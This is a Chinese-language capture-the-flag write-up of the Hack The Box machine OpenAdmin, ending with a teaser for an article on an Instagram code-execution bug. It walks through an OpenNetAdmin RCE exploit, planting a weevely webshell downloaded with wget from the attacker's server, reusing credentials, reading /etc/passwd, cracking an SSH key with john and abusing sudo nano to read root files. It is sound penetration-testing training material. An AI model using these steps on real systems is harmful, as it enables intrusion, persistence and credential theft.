Hack The Box - OpenAdmin

  • A+

0x00 目标

Kali: 10.10.16.242

靶机地址:10.10.10.171

目标:user blood and root blood

image20200323051908502.png

0x01 信息收集

端口:

使用nmap对目标进行端口扫描:

开放端口:22、80

image20200323053831716.png

说明开放ssh和web。

常规渗透通常从web先入手。

尝试访问http://10.10.10.171:80,初始页面显示apache,暂无用处。

image20200323054010349.png

web目录:

尝试爆破web目录,使用DirBuster。

存在目录:

```
/icons

403

/artwork

一些普通页面

/music

一些普通页面,加上 login(ona)

/ona opennetadmin 主机管理系统
```

image20200323054402110.png

从而知道了web搭建了OpenNetAdmin主机管理系统。

0x02 渗透过程

webshell:

由http://10.10.10.171/ona/ 看到版本号为v18.1.1

到这里可以尝试登陆看看有没有弱口令。

但是国外的靶机不太清楚opennetadmin具体能做什么。

image20200323064131093.png

所以由已知的OpenNetAdmin可以用searchsploit或者msf来找exp。

尝试用msf没有找到对应的exp。

searchsploit找到了远程命令执行。

searchsploit opennetadmin

image20200323065308240.png

可以直接拿出来用:

```
searchsploit -m 47691

将该exp文件拿到到当前目录

vim 47691.sh
```

exp设置好登陆的url就可以直接打了。

莫名原因exp不能直接用报错,拿出来修改到另一个.sh文件里可以执行命令了。

image20200323071330283.png

到此拿到了为www-data的权限。

这里用weevely先做下权限维持。生成了一个cmd.php的一句话通过wget放到web根目录。

```
weevely generate xxx cmd.php

生成password为xxx的一句话

python3 -m http.server

搭建临时http服务器传输文件,默认端口8000

wget http://10.10.16.242:8000/cmd.php
```

image20200323072845035.png

image20200323073050721.png

提升权限:

现在已经有了webshell,但是权限是www-data,想要获得更高的权限需要进行其他尝试。

尝试用cat /etc/passwd读到两个存在的低权限用户名:

image20200323075845622.png

jimmy
joanna

尝试去找数据库的密码,最终在/opt/ona/www/local/config/database_settings.inc.php找到数据库账号密码:

image20200323075231500.png

ona_sys
n1nj4W4rri0R!

尝试登陆数据库失败。

image20200323080142905.png

jimmy用户:

想到还有个22端口,于是尝试拿数据库密码跑下两个账号。没想到jimmy账号登录进去了。

image20200323080755660.png

但是在她的home目录下没有找到user.txt。猜测是在joanna下面,但是没有权限进。

image20200323081112880.png

找到了/var/www/目录下,发现有几个目录,猜测这个是多站点,但是有的目录没有访问权限。

image20200323130136770.png

/var/www/internal目录下的几个文件倒是有权限访问。可以看下具体是什么功能的php脚本。

首先看到index.php,这个登录验证直接告诉了我们账号密码是什么。继续扩大密码池。再跑遍joanna看能不能直接直接登录上去,未果。

jimmy
Revealed

image20200323131215449.png

image20200323131248459.png

image20200323131421184.png

再看下main.php。找到有用的了,看代码可以看到通过cat /home/joanna/.ssh/id_rsa获取joanna用户的密钥。现在需要想把运行这个main.php

image20200323185431127.png

尝试php main.php发现权限不足。

还有一个x.php,尝试php main.php发现也是权限不足。

image20200323190428422.png

并提示了一段文字。

没搞懂什么意思。。。

image20200323185806604.png

image20200323190451210.png

<pre></pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a>Session
&lt;/html&gt;

joanna用户:

整理下思路,现在查看这个目录也有几个php文件,并且可能通过他得到joanna用户的密钥,我们就可以获得flag,还有用户权限。

我们知道之前webshell的根目录是/opt/ona/www,而这个目录的路径是/var/www/internal。可能存在多个站点。

多个站点肯定对应不同的端口,所以这里我查了下端口。

netstat -aptn

image20200323191510122.png

看到本地开放了

3306、52846

二其他的端口可以直接访问到,这两个端口只能在当前内网状态才能访问。

又想到curl可以直接在命令行下请求url页面。我们可以不尝试流量代理到本地,直接用curl看看有没有回显。

image20200323192002076.png

image20200323192031947.png

果不其然,得到了joanna的密钥,尝试另一个x.php获取不到root.txt,只能接下来看看怎么搞了。

通过命令密钥ssh连接:

chmod 600 is_rsa
ssh -i is_rsa [email protected]

image20200323192742504.png

还是需要密码。。。有点无语。

那么可以尝试破解密钥,破解密钥可以用john,转换john的格式,然后再爆破:

```
python /usr/share/john/ssh2john.py is_rsa > ssh_is_rsa

这里可以用kali自带的rock字典

john --wordlist=/usr/share/wordlists/rockyou.txt ssh_is_rsa
```

image20200323230441539.png

获得到密码,原来那个ninja还真是个提示:

bloodninjas

至此登录上joanna用户并且获取到一个flag。

image20200323230735885.png

提权读root.txt

最后就剩下一个root.txt获取最后一个flag并且提权,看说明那应该就是需要有root权限去读文件。

这里直接用sudo拿下了,原理就是sudo配置运行的部分命令可以不用密码验证。

通过sudo -l查看允许的命令。

image20200323232613176.png

nano是一款编辑器,这里我们可以直接通过读取/root/root.txt

nano的用法:

ctrl+R:从其他档案读入资料,可以将某个档案的内容贴在本档案中

```
sudo /bin/nano /opt/priv

ctrl + r

/root/root.txt
```

image20200323232920948.png

image20200323232942426.png

到此拿到了所有的flag。并且获取到了几个用户的权限。

编辑器有sudo权限,那自然也可以读/etc/shadow

image20200323233402874.png

0x03 总结

简单总结下这次用到的一些手法和技巧。

1、信息收集-目录爆破。

2、信息收集-端口扫描。

3、漏洞利用-历史漏洞。

4、权限维持-一句话木马。

5、信息收集-账号密码信息(数据库、web)。

6、爆破-滚密码。

7、信息收集-内网端口开放。

8、爆破-john密钥破解。

9、sudo提权(nano编辑器读取文件内容)。

相关推荐: Instagram应用代码执行漏洞详解(二)

在上一篇文章中,我们为读者详细介绍了Instagram应用代码执行漏洞有关的背景知识,以及通过模糊测试在Mozjpeg项目中发现的安全漏洞,在本文中,我们将为读者介绍wildcopy型漏洞的利用方法等精彩内容。 Wild Copy型漏洞的利用 要导致内存损坏,…